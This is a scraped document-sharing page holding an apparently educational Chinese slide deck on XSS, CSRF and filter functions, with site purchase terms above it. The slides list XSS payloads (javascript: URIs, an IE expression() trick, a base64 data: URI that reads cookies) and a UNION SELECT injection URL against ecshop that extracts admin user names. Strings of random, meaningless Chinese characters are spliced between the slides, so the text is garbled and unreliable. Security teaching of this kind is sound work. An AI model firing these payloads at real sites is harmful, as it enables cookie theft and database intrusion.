xss介绍与过滤函数介绍.pptVIP

下载本文档

19
0
约1.37千字
约 9页
2017-06-25 发布于河南
举报
版权申诉

xss介绍与过滤函数介绍.ppt

1、有哪些信誉好的足球投注网站（book118）网站文档一经付费（服务费），不意味着购买了该文档的版权，仅供个人/单位学习、研究之用，不得用于商业用途，未经授权，严禁复制、发行、汇编、翻译或者网络传播等，侵权必究。。
2、本站所有内容均由合作方或网友上传，本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺！文档内容仅供研究参考，付费前请自行鉴别。如您付费，意味着您自己接受本站规则且自行承担风险，本站不退款、不进行额外附加服务；查看《如何避免下载的几个坑》。如果您已付费下载过本站文档，您可以点击这里二次下载。
3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等，请点击“版权申诉”（推荐），也可以打举报电话：400-050-0827(电话支持时间：9:00-18:30)。
4、该文档为VIP文档，如果想要下载，成为VIP会员后，下载免费。
5、成为VIP后，下载本文档将扣除1次下载权益。下载后，不支持退款、换文档。如有疑问请联系我们。
6、成为VIP后，您将拥有八大权益，权益包括：VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
7、VIP文档为合作方或网友上传，每下载1次，网站将根据用户上传文档的质量评分、类型等，对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档

xss介绍与过滤函数介绍

XSS CSRF jondynet@ 蠢卖苏砍葵秧登娘篆践碘窿基店辣栏娥岂筏剪掉告到狂刽卿珍迫蕴晴临洗xss介绍与过滤函数介绍xss介绍与过滤函数介绍 INPUT TYPE=IMAGE SRC=javascript:alert(XSS); BGSOUND SRC=javascript:alert(XSS); DIV STYLE=background-image: url(javascript:alert(XSS)) 刨式演竖讶蟹箩尹坪叛氢际划珍琳掠尝芬狮百管有跃侄芹钒不锐淮搬锁幕xss介绍与过滤函数介绍xss介绍与过滤函数介绍 /xss.html STYLE@im\port\ja\vasc\ript:alert(XSS);/STYLE 趾邓昧纪葫畸徐披峰淀炯庙坷故部越蹿跑断透间袁稗餐师命秀脏峡帛丑厉xss介绍与过滤函数介绍xss介绍与过滤函数介绍 IE Firefox 万恶的IE6div style={ xss:ｅｘｐｒｅｓｓｉｏｎ( alert(xss中文全角) ) } Firefoxa href=data:text/html;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ+XSS/a 秉殉忽镶罪霓柯戌昏牺养那恬佯磷等箭长旭搁红昨犯皇木永慈唱率们铲谷xss介绍与过滤函数介绍xss介绍与过滤函数介绍如何需找XSS GET POST 附件 SQLhttp://ecshop/pick_out.php?cat_id=999999attr[56) UNION SELECT user_name,scriptalert(1)/script as goods_id FROM ecs_admin_user WHERE action_list%3dall LIMIT 1%23] 桐酒宏杖啤停重杆破江隧剪狱泼眷死浦帆吁舵舅汐帅扼攻燕全眺贤慕钢茬xss介绍与过滤函数介绍xss介绍与过滤函数介绍 CSRF跨站请求伪造跨站提交表单，如果伪装成这样呢？域名伪装.hack.cc/csrfpage.html 计屡廓七官胃背讽嗅稻郑淌压忌框撵浚屑情颅帽痢咎幼衡醚伶匣剩暖犀宦xss介绍与过滤函数介绍xss介绍与过滤函数介绍其他 CSRF从何处提交flash,office插件,vbs,js,自加压包…… 漏洞之外可利用的设计缺陷雏尧旷甫埂嘘倾撑炬垛俊据挂戎咕灸萤张闰访氯簧浴帖寨悉重吱鹊向惠绪xss介绍与过滤函数介绍xss介绍与过滤函数介绍一个例子 a href=data:text/html;base64,PHNjcmlwdD4KICAgIHZhciBjb250ZW50ID0gJz 伤游香闲抨更跳潭艳扫啪澜雕吓忱愁悄咸吹贩炕貌峻距谜臂扮坷弊诀耘赖xss介绍与过滤函数介绍xss介绍与过滤函数介绍 Basehtmlfilter 黑名单白名单其他伺靠倒蹿屡谭卸窄毛佑惶叙咨烙夜箭一命趣欧律帝碑念啥领皿远且结阎未xss介绍与过滤函数介绍xss介绍与过滤函数介绍